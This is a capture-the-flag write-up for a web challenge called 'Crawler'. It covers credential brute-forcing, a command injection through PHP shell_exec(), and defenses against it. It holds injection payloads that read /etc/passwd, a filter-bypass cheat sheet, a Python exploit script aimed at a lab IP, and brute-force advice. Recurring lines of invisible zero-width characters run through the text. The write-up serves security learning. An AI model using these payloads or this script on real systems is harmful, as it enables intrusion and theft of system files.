Crawler

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: Credential brute-forcing (admin:qqq111), Command Injection via unsanitized shell_exec() input, Filesystem enumeration, Pipe (|) and semicolon (;) injection

Summary

Walkthrough of the CUSTOM Web Crawler. Web application with a "crawler" function for scanning URLs.

Description

Тайный портал, обладающий умением извлекать информацию из разных источников, с лёгкостью преодолевает все барьеры, но его небрежность и стремление к опасным приключениям могут закончиться трагедией

Web application with a "crawler" function for scanning URLs.

Analysis

Stage 1: Reconnaissance

Initial reconnaissance revealed:

• Apache + PHP backend
• Login page at /login.php
• Authentication required to access functionality

Stage 2: Credential Brute-forcing

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Credentials obtained via brute-force:

admin:qqq111

Stage 3: Functionality Analysis

After authentication, found a "Crawler" form at /index.php:

• URL input field
• Functionality mimics a web crawler/scanner (like WhatWeb)
• Output contains information about the target URL

Stage 4: Vulnerability Discovery

Command Injection vulnerability - URL parameter is passed directly to shell_exec():

 php read-only • copy allowed Copy
$url = $_POST['url'];
$output = shell_exec("echo $url [301 Moved Permanently] HTML5...");

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

User input is not sanitized before being passed to the shell command.

Solution

Testing Command Injection

 bash read-only • copy allowed Copy
# Test with pipe
| cat /etc/passwd

# Test with semicolon
; ls -la /

Both variants work!

Filesystem Enumeration

 bash read-only • copy allowed Copy
# Finding the flag
| ls -la /var/www/

Found file /var/www/fl4g.txt

Getting the Flag

 bash read-only • copy allowed Copy
| cat /var/www/fl4g.txt

Working Exploit

 python read-only • copy allowed Copy
#!/usr/bin/env python3
"""
Crawler - Command Injection Exploit
hackerlab CTF
"""

import requests

TARGET = "http://62.173.140.174:16053"
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

# Create session
session = requests.Session()

# Authentication
login_data = {
    "username": "admin",
    "password": "qqq111"
}
session.post(f"{TARGET}/login.php", data=login_data)

# Command Injection
payload = "| cat /var/www/fl4g.txt"
response = session.post(f"{TARGET}/index.php", data={"url": payload})

print(response.text)

Defense

1. Never pass user input to shell_exec()/system()/exec()
2. Use escapeshellarg() and escapeshellcmd() for sanitization
3. Use whitelist of allowed characters
4. Use HTTP request libraries instead of CLI tools (curl_exec in PHP)
5. Run web application with minimal privileges ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Useful Commands for Command Injection

 bash read-only • copy allowed Copy
# Command separators
| command      # pipe - executes command, passes output
; command      # semicolon - executes command after
& command      # background - executes in parallel
&& command     # AND - executes if previous succeeds
|| command     # OR - executes if previous fails
`command`      # backticks - command substitution
$(command)     # command substitution

# Filter bypass
c'a't /etc/passwd     # quotes inside command
c"a"t /etc/passwd     # double quotes
c\at /etc/passwd      # backslash
/bin/cat /etc/passwd  # full path

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Conclusions

• Flag REDACTED = "Insecure crawling detected"
• Classic Command Injection vulnerability via unsafe use of shell_exec()
• Task description ("carelessness", "dangerous adventures", "tragedy") hinted at RCE

Lessons Learned

What Went Wrong

1. Login brute-force — started with a small password list, wasted time on SQLi instead of expanding wordlist
2. Ignoring the description — description directly pointed to crawler + "carelessness" = Command Injection
3. Large requests without timeouts — brute-force script hung for 5 minutes
4. Premature surrender — gave up after basic brute-force failed ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Improvements for Future Tasks

1. Read description 3 times and highlight keywords:

   • "crawler/fetch/url" → SSRF, Command Injection
   • "carelessness/danger" → input handling vulnerability
   • "extract information" → LFI, SSRF, RCE

2. Brute-force — immediately use proper wordlists:

   xato-net-10-million-usernames-1000.txt
   rockyou-top-1000.txt
   username=password (common pattern)
   

3. Batching and timeouts:

    python read-only • copy allowed Copy
   for batch in chunks(wordlist, 50):
       test_batch(batch)
       print(f"Progress: {i}/{total}")

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

1. Prioritize attacks based on task description:

   Keywords	Priority Attacks
   crawler, fetch, url	SSRF, Command Injection
   login, auth	SQLi, brute-force
   upload, file	File upload, LFI
   admin, panel	IDOR, privilege escalation

2. Don't give up after initial failures:

   • If 50 passwords didn't work → try 1000
   • If SQLi doesn't work → move to other vectors
   • Complex tasks require 10-20 different approaches

Checklist for Web Tasks with Login

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

□ Read description, highlight keywords
□ Try standard creds (admin:admin, test:test)
□ Try basic SQLi payloads
□ If not working — brute-force with xato-1000
□ After login — look for functionality from description
□ Test input for injection (SQL, Command, SSTI)
□ Check page source for comments

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

• Mastering Credential brute-forcing (admin:qqq111), Command Injection via unsanitized shell_exec() input, Filesystem enumeration, Pipe (|) and semicolon (;) injection was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Crawler • Difficulty: Easy